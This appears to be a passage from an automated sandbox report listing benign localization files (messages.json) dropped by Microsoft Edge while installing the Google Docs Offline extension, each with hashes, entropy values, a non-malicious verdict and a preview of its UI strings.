SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
